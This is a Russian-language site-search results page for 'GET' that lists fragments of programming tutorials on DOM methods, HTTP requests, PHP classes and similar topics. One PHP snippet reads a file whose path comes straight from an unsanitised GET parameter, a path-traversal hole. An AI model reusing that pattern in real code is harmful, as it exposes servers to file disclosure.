Что искали: GET
Всего найдено: 1072 записей
... $this->filename = $filename;
$fileinfo = getimagesize($filename);
if(!$fileinfo) {
throw new exception("image file corrupted: $filename"); ...
... расширить стандартный класс wp_widget и его функции и демонстрирует пример готового кода с одним текстовым полем. new_widget расширяет встроенный в wordpress ...
... string title;
string body;
public string getuserid() {
return userid;
}
public post setuserid(string userid) { ...
... чтобы получить текущий год, используйте метод экземпляра getfullyear() объекта date. метод getfullyear() возвращает год указанной даты в конструкторе date:
...
... делегирование событий
события в браузере всплывают от конкретного узла (event.target) вверх по дереву до документа. делегирование использует это поведение: ...
... // получает названия листов книги в виде массива
$sheetnames = $spreadsheet->getsheetnames();
// возвращает количество листов в книге ...
... // интерфейс всех телевизоров
interface tv
{
function getbrand() : string; // возвращает производителя
}
// конкретная реализация телевизора ...
... элемент даты и времени:var date = new date();document.write("год - " + date.getfullyear() + "<br />");document.write("месяц - " + date.getmonth() + "<br />");document.write("число - " + date.getdate() + "<br />");document.write("день ...
... них.
как получить отдельные части даты
метод getfullyear()
получение года.
let year = new date();
console.log(year.getfullyear()); // 2020
метод getmonth()
получение месяца ...
... структура
<div class="carousel-wrapper" style="height: 400px;">
<span id="target-item-1"></span>
<span id="target-item-2"></span>
<span id="target-item-3"></span>
<div class="carousel-item ...
... метаданных.
пример с использованием метода get:
<?php
$opts = [
'http' => [
'method' => "get",
'header' => "accept-language: ...
... мы создадим атрибуты для различных http-методов, таких как get, post, put, и delete.
#[attribute(attribute::target_method)]
class route
{
public function __construct(public string $path, public string $method) {} ...
... которая до безобразия просто устанавливается из репозитория пакетов nuget.
после установки пакетов приступим к написанию кода.
базовый класс ...
... ниже приведен базовый пример кода, который демонстрирует, как выполнить get-запрос к веб-серверу и вывести полученные данные в консоль.
using system; ...
... остаётся лёгким, изменённая реализация не пересобирает весь проект.
// widget.hpp
#ifndef widget_hpp
#define widget_hpp
#include <memory>
class widget {
public:
widget();
~widget();
void draw(); ...
... import org.apache.http.client.methods.httpget;
import org.apache.http.impl.client.closeablehttpclient;
import org.apache.http.impl.client.httpclients;
import org.apache.http.util.entityutils;
import java.io.ioexception;
public class httpclientgetrequest { ...
... одна сущность.
#include <memory>
#include <iostream>
#include <vector>
struct widget {
int id;
explicit widget(int i) : id(i) { std::cout << "widget(" << id << ")\n"; }
~widget() { std::cout << ...
... рассмотрим, как использовать getboundingclientrect, его основные свойства и примеры применения.
основные свойства
метод getboundingclientrect возвращает объект ...
... выглядит так:
route::get('/', function () {
return view('welcome');
});
этот маршрут привязывает http-запрос метода get к корневому url ...
... $property = $meta->getattribute('property'); // извлекаем значение атрибута property
$content = $meta->getattribute('content'); // извлекаем значение атрибута content ...
... class user {
protected $loggedin = false;
protected $data = [];
public function getdata() {
return $this->data;
}
public function setdata($data) {
...
... // читаем список файлов из текущей папки - .
files.list(paths.get(".")).foreach(path -> system.out.println(path));
}
...
... from pyside6.qtcore import qt
from pyside6.qtgui import qcursor
from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qhboxlayout, qvboxlayout, qtextedit
# главное окно приложения ...
... двигатель нашей задумки - javascript.
(function() {
var video = document.getelementbyid('video'),
canvas = document.getelementbyid('canvas'),
context = canvas.getcontext('2d'), ...
... // переменная определена изначально
public static function getname() {
return self::$name;
} ...
... продолжают работать, как они работали в ecmascript 5
let obj = {
get foo() {
console.log('get foo');
return 123;
},
set bar(value) {
console.log('set ...
... package ru.myrusakov.rssapp
import android.os.bundle
import android.view.view
import android.widget.adapterview
import android.widget.toast
import androidx.appcompat.app.appcompatactivity
import androidx.recyclerview.widget.gridlayoutmanager ...
... новости из twitter и печатает их
public function getsocialfeeds() {
$twitsrv = new twitterservice();
print $twitsrv -> gettweets();
}
}
// класс
class ...
... import sys
import random
from pyside6.qtcore import qt, slot
from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qlabel, qvboxlayout
# главное окно приложения расширяет класс qwidget ...
... from pyside6.qtcore import qt
from pyside6.qtgui import qcursor
from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qhboxlayout, qvboxlayout, qtextedit
class mainwidget(qwidget): ...
... после ввода и т. д. в этом руководстве мы разложим по полочкам std::cout, std::cin, std::getline, форматирование и ускорение i/o, а также дадим готовые рецепты.
быстрый ...
... в этом материале разберём базовый синтаксис тега <a>, атрибуты href, target, rel, download, а также схемы mailto: и tel:. вы получите практические советы, которые ...
... // сохранить строку
localstorage.setitem('theme', 'dark');
// прочитать
const theme = localstorage.getitem('theme'); // 'dark'
// удалить ключ
localstorage.removeitem('theme');
// очистить всё хранилище ...
... только get-запросы (как правило, это скрипты поиска). и вот чтобы обрабатывать и принимать данные и от таких скриптов, надо уметь отправлять get-запросы ...
... которое
отобразит функционал поиска по истории.
const openhistorybtn = document.getelementbyid('openhistorybtn');
openhistorybtn.addeventlistener('click', (e) => {
chrome.tabs.create({ url: 'history.html' }); ...
... <?php
function getrange( $max = 10 ) {
$array = [];
for( $i = 0; $i < $max; $i++ ) {
$array[] = $i;
}
return $array;
}
foreach (getrange(15) as $range) ...
... $headerlength = curl_getinfo($handle, curlinfo_header_size);
$httpcode = curl_getinfo($handle, curlinfo_http_code);
$body = substr($response, $headerlength); ...
... высокоуровневый класс httpclient.
в приведенных примерах мы создадим простые запросы get и post.
протокол передачи гипертекста (http) - это прикладной протокол для ...
... return lines
# возвращает 5 случайных вопросов
def get_questions():
answers = read2list('answers_data.txt')
items = random.choices(population=answers, k=5) ...
... http://shop.ru/?utm_source=yandex&utm_medium=cpc&utm_campaign=mobil_sale&utm_content=m-234&utm_term=buy+phone
сгенерированная ссылка по сути является get-запросом и она нам чётко говорит, что этот человек пришел на сайт заказчика ...
... * @annotation - обозначение аннотации
* @target({"class","method"}) - аннотация может применяться только к классам и методам классов ...
... using microsoft.data.sqlite; // эту библиотеку для работы с sqlite берем из пакетного менеджера nuget
using system.data;
using system.reflection;
using system.text;
namespace csharpsqlitedemo
{ ...
... догадывались об этом. так, функции, работающие с потоками - это fopen(), file_get_contents(), file() и т.д. поэтому, фактически, вы уже используете файловые потоки ...
... написать статью, в которой рассказать о разнице между методом post и методом get, но всё как-то появлялись другие темы, и переключался на них. и вот, наконец-то, ...
... script.js
!(function () {
const form = document.getelementbyid("form");
const username = document.getelementbyid("username");
const email = document.getelementbyid("email"); ...
... и хендлеров.
логгеры по модулям и иерархия
# mymodule.py
import logging
logger = logging.getlogger(__name__)
def divide(a, b):
logger.debug("divide a=%s b=%s", a, b) # ленивое форматирование ...
... работы с параметрами командной строки, одним из которых является функция getopt. эта функция позволяет разработчикам легко обрабатывать аргументы, ...
... настроили, пришло время научиться делать get-запросы.
одним из наиболее распространенных http методов является get. метод get предназначен для получения ...
... объявляем переменную, говорим что у нас есть пустая ячейка
multi_1 = document.getelementbyid('inp_1').value;
и туда надо что-то положить (присвоить).
положим ...
в сегодняшней статье мы поговорим о функции getline() в c++. это встроенная функция, которая позволяет выводить в консоль
все, вводимые с клавиатуры, ...
... 9) ? isecs : "0" + isecs);
var smins ="" + ((imins > 9) ? imins : "0" + imins);
document.getelementbyid("timer-counter").innerhtml = smins+":"+ssecs;
settimeout('getsecs()', 1000);
}
//]]>
вы здесь уже: минут/секунд.
getsecs(); ...
... так же есть индекс.
так мы получим всю строку целиком:
get_str = 'это строка'
print(get_str)
это строка
а здесь, обратившись по индексу 5, получаем ...
... <canvas id="breakevenchart" width="400" height="200"></canvas>
<script>
document.getelementbyid('breakevenform').addeventlistener('submit', function(e) {
e.preventdefault(); // предотвращаем перезагрузку страницы ...
... for(uimanager.lookandfeelinfo theme : uimanager.getinstalledlookandfeels()) {
jbutton button = new jbutton(theme.getname());
button.setbounds(20, buttony, 100, 30); ...
... аргументах функции передадим объект event. в переменную target поместим цель объекта - event.target. в условии проверяем, что пользователь действительно ...
... принцип построения квадратичной кривой
let canvas = document.getelementbyid('curve');
let ctx = canvas.getcontext('2d');
ctx.beginpath(); // начало нового пути
ctx.linewidth = ...
... name: document.getelementbyid('name').value,
position: document.getelementbyid('position').value,
education: document.getelementbyid('education').value, ...
... новички часто не понимают, какой метод отправки данных использовать: post или get. а ведь оба эти методы были придуманы не как альтернатива друг другу, ...
... копируете ссылку, например такую
– http://news.yandex.ru/gadgets.rss.
далее необходимо прочитать содержимое файла gadgets.rss, для этого
воспользуемся встроенной в ...
... document.queryselectorall(".img-src");
for (let i = 0; i < images.length; i++)
{
let image = images[i];
alert(image.getattribute(src));
}
смотрите, как просто. единственное, что вам нужно- ...
... // обязательно подключаем данную библиотеку
using system.collections.generic
dictionary<string, string> imagetypes = new dictionary<string, string>();
//imagetypes.add("key", "value");
imagetypes.add("bmp", "bitmap"); ...
... throw new runtimeexception("не удалось открыть файл: $path");
}
try {
return stream_get_contents($h) ?: '';
} finally {
// finally выполнится всегда — даже при throw в try ...
... # age отсутствует
{"name": "carl", "age": 25},
]
print(sorted(people3, key=lambda p: (p.get("age") is none, p.get("age", 0))))
быстрые помощники: operator.itemgetter и attrgetter
они чуть быстрее ...
... фильтров php
filter_input(type, name, filter, options) — берёт значение напрямую из источника (get, post, cookie, server).
filter_var(value, filter, options) — валидирует или фильтрует уже имеющееся ...
... вывести значение свойства background для этих блоков.
var div1 = document.getelementbyid('div1');
var div2 = document.getelementbyid('div2');
alert(div1.style.background);
alert(div2.style.background);
в ...
... арифметические действия.
html разметка
возьмем за основу бутстраповскую разметку (getbootstrap.com), из раздела components / forms. у нас должна получиться форма с двумя ...
... это используется достаточно часто, math.random() помещают внутрь функции
function getrandom() {
return math.random();
}
проблема, конечно, заключается в том, что функция ...
... function.php. для подключения сайдбара к ядру wordpress используется хук widgets_init.
add_action( 'widgets_init', 'theme_slug_widgets_init' );
регистрация сайдбара ...
... // получаем ссылки на ячейки листа
function getcells(worksheet $sheet)
{
return function(string $cellname) use ($sheet) { ...
... <a href="#" class="btn btn-outline-primary" data-bs-toggle="modal" data-bs-target="#video_modal"
data-bs-video-url="https://www.youtube.com/embed/tlcnjemnlts">смотреть</a> ...
... выведутся в консоль при клике по списку. раскрываем всю эту цепочку mouseevent → target → tagname. дословный перевод: событие мыши → цель → имя тега. начинающие ...
... мы скопируем все данные из буфера обмена с помощью буфера метода clipboard.getdataobject(). буфер обмена может содержать изображения и другие типы, которые ...
... # возвращает содержимое страницы в виде текста
def get_page_content(url):
text = ''
res = requests.get(url, headers=headers)
if res.status_code != 404: ...
... в словарь
рассмотрим пример использования условного оператора:
def get_operation(operator):
if operator == 'add':
return lambda x, y: x + y ...
... не было, то создаётся и возвращается (паттерн singleton) */
public static function getdb() {
if (self::$db == null) self::$db = new database();
return self::$db;
} ...
... new montharr(31, 28, 31, 30, 31, 30, 31, 31, 30,31, 30, 31); year = today.getyear(); if (year < 2000) year = year + 1900; thisday = today.getdate(); if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 ...
... function displaygeneratedpassword() {
const length = parseint(document.getelementbyid("length").value);
const lowercase = document.getelementbyid("lowercase").checked;
const uppercase = document.getelementbyid("uppercase").checked; ...
... function __construct() {
$this->db = new mysqli($host, $user, $pass, $database);
}
public function get() {}
public function set() {}
public function del() {}
}
$db1 = new db();
$db2 = new db();
у нас ...
... public function getamount() {
return $this->amount;
}
public function getcurrency() {
return $this->currency; ...
... практике. создадим класс:
class user {
public function getname() : string {
return 'john';
}
}
$user = new user;
echo $user->getname();
как вы можете видеть, после имени ...
... нового объекта с текущей датой и временем
let daynumber = date.getdate(); // получение даты
let month = date.getmonth(); // получение месяца
let dayname = date.tolocalestring(lang,{weekday: 'long' ...
... import random # импортируем метод random
# и в том же файле создадим метод get_random_position(), который генерирует случайный набор x, y координат на заданной поверхности surface, и возвращает результат в виде экземпляра класса vector ...
... <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbartogglerdemo02" aria-controls="navbartogglerdemo02" aria-expanded="false" aria-label="toggle navigation"> ...
... if (!document.getelementsbytagname) return;
var anchors = document.getelementsbytagname("a");
for (var i=0; i < anchors.length; i++) {
if (anchors[i].getattribute("href") && ...
... такой задачи, как вывода количества записей, мы будем использовать метод get_var ().
выведем некоторое кол-во записей внизу сайта, например в футере. ...
... путём обращений к серверу через javascript, в большинстве случаев, это post и get запросы. и практически всегда такие сайты используют для этого ajax. и ...
... // таблиц с данными
request.onupgradeneeded = function(event) {
const db = event.target.result;
// создаем хранилище объектов (таблицу) с именем "users" и указываем поле "id" как ключ ...
... подключить header.php
в wordpress есть специальная функция для подключения header.php.
get_header()
из названия функции, уже понятно, что она делает - получает шаблон ...
... function(e) {
if (shouldnotswipe(e.target)) {
e.preventdefault();
}
});
list.addeventlistener('slip:swipe', function(e) {
if (thatwasswipetoremove) {
e.target.parentnode.removechild(e.target);
...
... * в метод request передается три параметра:
*
*
* 1. методы get, post
* 2. url на который отправляются данные формы ...
... главное - javascript.
(function() {
var video = document.getelementbyid('video'),
vendorurl = window.url || window.webkiturl;
navigator.getmedia = navigator.getusermedia || navigator.webkitgetusermedia || navigator.mozgetusermedia ...
... размера шрифта:
<?php
session_start(); // начинаем сессию
if ($_get["size"] == "big") { // если get-параметр равен big
$_session["size"] = 30; // помещаем в сессию ...
... requests.get(). но есть одна проблема, так как данный метод загружает информацию целиком, что может перегрузить память.
к счастью для нас, у метода get есть ...
... public int id { get; set; }
public string name { get; set; }
public int price { get; set; } ...
... from datetime import date, timedelta
# возвращает словарь месяц - период времени
def get_work_months(year):
return {
'январь': (year - 1, 12, year, 1), ...
... div с id=block.
если вы хотите отправить запрос типа get, то просто измените название метода с $.post() на $.get(), а параметры у него идентичные.
$(document).ready(function(){ ...
... решили заменить старый заголовок на новый «поиск dom элемента с помощью getelementbyid, не внося изменения напрямую в html код. как это сделать, используя ...
... можете сделать что-то вроде этого:
<?php
if(!isset($_get['show'])) {
die();
}
$show = $_get['show'];
$content = file_get_contents("content/{$show}.php");
?> ...
... public function getall(int $limit);
// возвращает строку таблицы по ее id - первичный ключ
public function get($id); ...
... *
* @param array $connectionconfig
* @return pdo
*
*/
function getdbconnection(array $connectionconfig): pdo
{
$host = $connectionconfig['host']; ...
... redirect.php
<?php
require_once "classes/shortener.php";
if(isset($_get['code'])) {
$s = new shortener();
$code = $_get['code'];
if($url = $s->geturl($code)) {
...
... * @returns {promise<string[]>} массив строк - путей к файлам
*/
async function getfiles(dir) {
// асинхронно читает содержимое директории ...
... from selenium.webdriver.common.by import by
# чтение английского содержимого
def get_file_content(filename):
with open(filename, 'r') as fd:
return fd.read() ...
... getmodel() {
return "the model of the car is " + this.model;
}
}
как видите, очень похоже на другие языки. вызов также не выделяется.
var bmw = new car("bmw");
alert(bmw.getmodel()); ...
...
offsetset - для установки значения в массиве по ключу
offsetget - для получения значения из массива по ключу
offsetexists - проверка ...
... header('access-control-allow-origin: *');
header('access-control-allow-methods: get, post');
header('access-control-max-age: 1000');
header('access-control-allow-headers: content-type, authorization, x-requested-with'); ...
... появилось много нового, и сегодня мы разберем один из новых псевдоклассов - target.
target с английского переводится как "цель" и это не просто так. дело в том, ...
... двигаться по горизонтали.
let canvas = document.getelementbyid('canvas'); // получение холста в документе
let ctx = canvas.getcontext('2d'); // получение контекста рисования ...
... теперь приступим к реализации. база данных та же. в папке libs создадим файл get_comments.php с таким кодом:
<?php
header("content-type: text/html; charset=utf-8");
$count = ...
... src="bower_components/greuler/dist/greuler.js"></script>
использование
для пользователя есть простые свойства:
target – селектор контейнера, содержащего график
data – объект, содержащий ...
... инструмент для решения повседневных задач.
1. get-childitem: получение списка файлов и папок
команда get-childitem является одной из самых часто используемых ...
... border-radius: 8px; }
button { cursor: pointer; }
</style>
<script>
const dialog = document.getelementbyid('modal');
document.getelementbyid('opendialog').addeventlistener('click', () => dialog.showmodal());
// логируем ...
... содержит
в себе все данные get и post запросов.
class request
{
private $storage; // переменная хранящая данные get и post
...
... пользователь. для этого есть get-параметры, в котором мы передаём код языка (допустим, "ru" или "en"). далее мы в зависимости от значения get-параметра, берём нужный ...
... cookies = {'session_id': '123456789'}
response = requests.get('https://example.com', cookies=cookies)
print(response.text)
получение cookie из ответа
import requests
response = requests.get('https://example.com') ...
... контекст. надёжнее использовать event.currenttarget.
document.queryselector('#btn').addeventlistener('click', function(e) {
console.log(this === e.currenttarget); // true
});
document.queryselector('#btn2').addeventlistener('click', ...
... метод get возвращает none или значение по умолчанию — это безопаснее.
profile = {"name": "alex", "city": "minsk"}
# чтение
name = profile["name"] # "alex"
city = profile.get("city") ...
... # получение значения элемента trackbar
lh = cv2.gettrackbarpos("l_h", "tracking")
ls = cv2.gettrackbarpos("l_s", "tracking")
lv = cv2.gettrackbarpos("l_v", "tracking") ...
... контейнеров и собственных типов.
#include <initializer_list>
#include <iostream>
struct widget {
widget(int a, int b) { std::cout << "(int,int)\n"; }
widget(std::initializer_list<int> l) { std::cout << ...
... {$user1->name}
это важный и ключевой момент в понимании методов.
public function getanketainfo(){
имя: {$this->name}
возраст: {$this->age}
...
... remove.
list.onclick = function(event) {
if (event.target.tagname != 'span') return;
let childrenlist = event.target.parentnode.queryselector('ul');
if (!childrenlist) ...
... локально, чтобы сразу видеть новое значение
$_cookie[$name] = $value;
}
function cookie_get(string $name, $default = null) {
return $_cookie[$name] ?? $default;
}
function cookie_delete(string $name, array $options ...
... удалось открыть input.txt\n";
return 1;
}
std::string line;
size_t lines = 0;
while (std::getline(in, line)) {
++lines;
}
std::cout << "строк в файле: " << lines << "\n"; ...
... import './index.css';
import app from './app';
reactdom.render(<app />, document.getelementbyid('root'));
index.css
* {
margin: 0;
padding: 0; ...
... их открытыми совсем не хочется. тогда добавляют так называемые методы get и set:<?php abstract class car { protected $x; protected $y; ...
... public function login($username, $password)
{
$user = $this->userrepository->getuserbyusername($username);
if ($user && password_verify($password, $user['password'])) { ...
... сегодняшней статье я решил разобрать весьма полезную функцию, удаляющую любой get-параметр из строки. где это может быть нужно? допустим, вы делаете навигацию ...
... date = new date('july 4, 2018');
// форматирование даты
var datestamp = (date.getmonth() + 1) + '/' + date.getdate() + '/' + date.getfullyear();
// отображение на странице
app.textcontent ...
... корректно, но всё-таки знать их полезно:
<?php
$ip = gethostbyname("vk.com");
echo $ip;
echo "<br />";
echo gethostbyaddr($ip);
echo "<br />";
print_r(gethostbynamel("vk.com")); ...
... // загружает файл по переданному url
function get_url_content($url) {
// настраиваем запрос ...
... ],
]);
$response = file_get_contents($url, false, $context);
$status_line = $http_response_header[0];
...
... $test->drawgrapharea(255, 255, 255, true); // рисуем графическую плоскость
$test->drawscale($dataset->getdata(), $dataset->getdatadescription(), scale_normal, 150, 150, 150, true, 0, 2); // рисуем оси и график
$test->drawgrid(4, ...
... передаётся скрипт-обработчик. теперь сам код этого обработчика:
<?php
$targetfolder = '/uploads'; // куда загружать файлы
$verifytoken = md5('unique_salt' . $_post['timestamp']); ...
... request.onsuccess = (event) => resolve(event.target.result);
// ошибка открытия базы данных ...
... """создание виртуального окружения"""
folder = entry_folder.get()
env_name = entry_env_name.get() or "venv"
if not folder:
messagebox.showerror("ошибка", "выберите папку проекта!") ...
... from tkinter import stringvar, listbox
from nltk.corpus import words
from difflib import get_close_matches
# скачиваем корпус слов, если еще не скачивали ...
... // получаем текст из текстового поля
const questionsinput = document.getelementbyid('questionsinput').value;
// разбиваем текст на массив вопросов, удаляя пустые строки ...
... # отправка запроса на сайт и получение ответа
page = requests.get(url)
# вывод статуса ответа
print(page)
# <response[200]>
# статус 200 говорит об успешном ответе ...
... откроем файл default.js и перед выборкой #randominsert пропишем следующее:
$.get('dashboard/xhrgetlistings', function(o) {
for(var i = 0; i < o.length; i++) {
$('#listinserts').append('<div>' ...
... ссылку на нашу страницу.для этого напишем в теге <body> такой код:<a target = "_self" href = "index.html" title = "ссылка">ссылка на эту страницу</a>тег html <a> ...
... на удаленном сервере можно использовать функцию
file_get_contents.
<?php
$sitemap = file_get_contents("http://myrusakov.com/sitemap.xml");
?>
для чего-то более ...
... структура
рассмотрим простой пример декоратора метода:
function log(target, context) {
const originalmethod = target;
return function(...args) {
console.log(`вызов ${context.name} с аргументами:`, ...
... вы увидите много свойств, описывающих объект события, одно из которых target, внутри которого ищем название тега tagname: button.
мы вытащили из консоли, ...
... выведем результат в консоль.
// получить элементы по имени тега
let p = document.getelementsbytagname('p');
console.log(p);
программа вывела в консоли коллекцию ...
... проверка для изображений (защита от подмены)
if (str_starts_with($mime, 'image/')) {
$imgsize = @getimagesize($_files['file']['tmp_name']);
if ($imgsize === false) {
exit('файл не является валидным ...
... $connection = getdbconnection($connectionconfig);
// получаем все новости
$news = news_getall($connection);
// возвращаем отрисованый шаблон ...
... system.err.println("используется так: " + javafileinfo.class.getname() + " имя_файла.txt");
system.exit(1); ...
... которые я знаю), существует и другая функция, которая называется getdate():<?php $datetime = getdate(); foreach ($datetime as $k=>$v) echo "$k - $v<br />";?>запустив ...
... с вами будем только два рассматривать) - это get и post. главное их отличие - это вид отправки: открытый (get) и закрытый (post). самый лучший способ понять, ...
... возможных способов запросов:
get
post
delete
put
для каждого из них в express предусмотрен отдельный метод:
app.get('route', fn)
app.post('route', fn) ...
... частая ошибка новичков — полагаться на «текущую рабочую директорию» (getcwd), которая меняется в зависимости от точки входа (cli, фронт‑контроллер, ...
...
<button id="btn">пуск</button>
при клике по кнопке запустится функция getusers. функция будет получать ответ от сервера, а метод fetch распарсивать ...
... // создаем объект холста (let canvas) из элемента холста html:
const canvas = document.getelementbyid("canvas");
// создаем 2d-объект для рисования на холсте: ...
... являются
объектами. объекты могут быть независимыми:
get /articles – получить все статьи
get /articles/1036 – получить конкретную статью по идентификатору ...
... parse_ini_file("shortlinks.ini"); // получаем массив данных из ini-файла
if(isset($_get["r"]) && array_key_exists($_get["r"], $shortlinks)) { // если передан правильный get-параметр
...
... // выводим значения членов перечисления
foreach (int i in enum.getvalues(typeof(day)))
{
console.writeline(i);
}
// создаем перечисление для дней недели. ...
... }
}
block = document.getelementbyid("block"); // получаем основной блок
block_r = document.getelementbyid("block_resize"); // получаем блок для изменения ...
... найдем элемент form по идентификатору с помощью метода document.getelementbyid.
const form = document.getelementbyid('form');
при отправки формы сработает событие ...
... сработает здесь и сейчас, под конкретную задачу.
const form = document.getelementbyid('form');
function getformvalue(event) {
event.preventdefault();
// поиск ...
... из коллекции используется метод get. обратимся к элементам по ключу и выведем их значения в консоль.
console.log(map.get('str')); // string
console.log(map.get(10)); ...
...
trait singleton
{
private static $instance;
public static function getinstance() {
if (!(self::$instance instanceof singleton)) {
self::$instance ...
... данные. наиболее часто используемое у event объекта свойство - это target.
конструкция event.target
на этом уроке, мы по клику добавляли класс кнопке, оперируя ...
... input.addeventlistener('keyup', (e) => {
const capslock = e.getmodifierstate('capslock');
const shift = e.getmodifierstate('shift');
})
функция getmodifierstate() возвращает ...
... new reflectionparameter(['users\user', 'setdata'], 0);
echo '<pre>';
print_r(get_class_methods($rp));
echo '</pre>';
?>
в конструктор класса reflectionparameter ...
... $user = new users\user;
$ro = new reflectionobject($user);
echo '<pre>';
print_r(get_class_methods($ro));
echo '</pre>';
?>
как вы можете видеть, большинство ...
... class="simple_two"></div>
<div class="example_2"></div>
let getexamples = document.queryselectorall('.example_1, .example_2');
console.log(getexamples);
результат из консоли:
в каком-то ...
... методы, привязанные только к одной конкретной роли.
у объекта user есть метод getlessons() с какой-то базовой функциональностью. но у разных групп пользователей ...
... следующим образом:
def _process_game_logic(self):
for game_object in self._get_game_objects():
game_object.move(self.screen)
if self.spaceship: ...
... const ip = '12.09.123.4';
function getipinfo($ip = ip) {
// api, который возвращает информацию в формате json ...
... facebook\facebookredirectloginhelper('your url');
try {
if($session = $facebook->getsessionfromredirect()) {
$_session['facebook'] = $session->gettoken();
header('location index.php');
...
... бесплатных запросов в месяц).
код метода контроллера:
public function getusersipinfo()
{
$sql = "
select ...
... ним:
setitem() — принимает пару ключ-значение и добавляет ее в localstorage.
getitem() — принимает ключ и возвращает соответствующее значение
removeitem() ...
... методом sendfile(). давайте перепишем наш код:
app.get('/', function(req, res) {
res.sendfile(__dirname + '/index.html');
});
app.get('/contact', function(req, res) {
res.sendfile(__dirname ...
... атрибут "method". у него может быть одно из двух очень популярных значения: "post" и "get". этот атрибут определяет способ отправки. не буду вдаваться в подробности, ...
... использоваться для файла. в качестве второго параметра мы задаём путь, функция get_... сгенерирует путь к главному файлу стилей. обычно разработчики для ...
... который ранее объявляли в css. затем получим его стили, используя функцию getcomputedstyle. теперь можно получить доступ к переменной --main-color. в консоли ...
...
шаг 1) найти все классы home
отбираем все классы с помощью метода getelementsbyclassname (получить элементы с помощью класса).
сначала объявим переменную ...
... и начнем мы как всегда с поиска картинки на странице при помощи метода getelementsbytagname. слово elements в названии метода указывает на то, что элементов ...
... * клавиш cntrl + клавиша (targetkey)
*
*/
function controlpluskey( targetkey, callback ) ...
... операции указанной выше используется свой
собственный http метод:
get – получение
post – создание
put – обновление, модификация ...
... окно по id.
var modal = document.getelementbyid('mymodal');
получить кнопку, которая открывает модальное окно по id.
var btn = document.getelementbyid("mybtn");
получить ...
... компьютерами, состоящее из get-запросов.
когда вы заходите на facebook.com, как авторизованный пользователь, то ваш компьютер отправляет get-запрос к серверу ...
... // влзвращает список всех найденных ошибок
public function geterrors() {
return $this -> errors;
} ...
... немедленно.
геттеры и сеттеры
чтобы создать getter и setter методы , нужно использовать ключевые слова
get и set, за которыми следуют пробел и идентификатор. ...
... 'тринадцать'
}
my_count.clear()
print(my_count)
{} // возвращает пустой словарь
метод get()
метод get() возвращает значение по указанному ключу в параметрах. название ...
... объекты из этой группы, если это необходимо.
реализуем метод _get_game_objects():
# game.py
def _get_game_objects(self):
return [*self.asteroids, self.spaceship]
...
... // если файл невозможно открыть, то бросается исключение
function getrows($file) {
$handle = fopen($file, 'rb');
if (!$handle) { ...
... // выводим текст из файла
print $pdf -> gettext();
обратите внимание на то, что текст, который вы получите из pdf файла ...
... значение перезапишется на новое.
следующий метод getitem получит значение ключа.
localstorage.getitem('age');
для удаления элемента из хранилища, ...
... // возвращает текущую 2d позицию игрового объекта
point2d getposition2d()
{
return position2d;
} ...
...
}
function one() {
document.getelementbyid("rocket").innerhtml = "установить связь с центром!";
}
function two() {
document.getelementbyid("rocket").innerhtml = "пристегнуть ...
... работает эта функция так: на сервер отправляется запрос с помощью
http методов get и post, полученный ответ извлекается и отправляется пользователю
в требуемом ...
... javascript?
<p>jquery - write less, do more.<p>
мы написали бы так:
var paragraph = document.getelementsbytagname("p");
теперь посмотрите, как просто получить параграф в jquery, ...
... rotated_surface = rotozoom(self.sprite, angle, 1.0)
rotated_surface_size = vector2(rotated_surface.get_size())
blit_position = self.position - rotated_surface_size * 0.5
surface.blit(rotated_surface, blit_position) ...
... переменной n, значение полученное из input и оставим там на хранение.
n = document.getelementbyid('num').value;
надо убедиться, что пользователь ввел именно число, ...
... откроется контекстное меню, в котором надо выбрать пункт управление пакетами nuget и в открывшемся окне во вкладке "обзор" ввести название пакета system.text.json. ...
... * @return mixed
*/
public function get($name) {
if (isset($_session[$name])) {
return $_session[$name]; ...
... движения, но и значения скорости.
начнем с создания метода get_random_velosity() в файле space_rock/utils.py:
def get_random_velocity(min_speed, max_speed):
speed = random.randint(min_speed, max_speed) ...
... // получаем обновленные данные
$result = $bot->getwebhookupdates();
$text = $result["message"]["text"]; //текст сообщения ...
... type="text/javascript">
/* данная функция создаёт кроссбраузерный объект xmlhttp */
function getxmlhttp() {
var xmlhttp;
try {
xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... ключевые технологии
для реализации используются следующие веб-api:
1. mediadevices.getusermedia — для доступа к камере.
2. canvas api — для захвата кадра с камеры.
3. ...
... processitems($array); // работает с массивом
function getgenerator(): iterable {
yield 'a';
yield 'b';
yield 'c';
}
processitems(getgenerator()); // работает с генератором ...
...
выведем результаты для каждой папки.
код:
import os
import shutil
def get_folder_size(folder_path):
total_size = 0
for dirpath, dirnames, filenames in os.walk(folder_path): ...
... установить сервер redis и расширение phpredis.
установка redis:
sudo apt-get update
sudo apt-get install redis-server
sudo systemctl enable redis-server.service
sudo systemctl start redis-server.service ...
... type="text/javascript">
function setcookie(name, value) {
document.cookie = name + "=" + value;
}
function getcookie(name) {
var r = document.cookie.match("(^|;) ?" + name + "=([^;]*)(;|$)");
if ...
... # ввод текста для перевода пользователем
def translate_text(text, source_lang='ru', target_lang='en'):
# функция для перевода текста с заданного языка на целевой язык ...
... * возвращает отсортированный список путей к файлам с расширениям, перечисленными в
* массиве $allowedextensions
*
*/
function getfilessorted(filesystemiterator $files, array $allowedextensions = ['pdf']): array
{ ...
... алгоритм. он наиболее короткий, и в то же время очень быстрый.
<?php
function getword($number, $suffix) {
$keys = array(2, 0, 1, 1, 1, 2);
$mod = $number % 100;
...
... получаем дочерние элементы
for (var i = 0; i < elements.length; i++) {
$(elements.get(i)).attr("title", "заголовок"); // устанавливаем атрибут title="заголовок"
}
...
... описание метода. делать мы это будем через php:
<?php
$wall = file_get_contents("https://api.vk.com/method/wall.get?v=5.3&filter=others&domain=myrusakov&count=5");
print_r($wall);
?>
в данном ...
... исключения и вывод соответствующих уведомлений */
if ($e->getcode() == 1) echo "файл не найден";
elseif ($e->getcode() == 2) echo "файл закрыт для записи";
elseif ($e->getcode() ...
... return $this;
}
public function getquery() {
return $this->query;
}
}
...
... const input = document.getelementbyid('fileinput');
const canvas = document.getelementbyid('canvas');
const ctx = canvas.getcontext('2d'); ...
... const menu = document.getelementbyid(menu_id);
const menuitemheaders = menu.getelementsbyclassname(menu_item_header_class);
// перебор заголовков и установка состояния открытия/закрытия для каждого ...
... let mediarecorder;
let audiochunks = [];
const startbutton = document.getelementbyid('start-btn');
const stopbutton = document.getelementbyid('stop-btn');
const transcriptionfield = document.getelementbyid('transcription'); ...
... зависимости от числительного.результат:
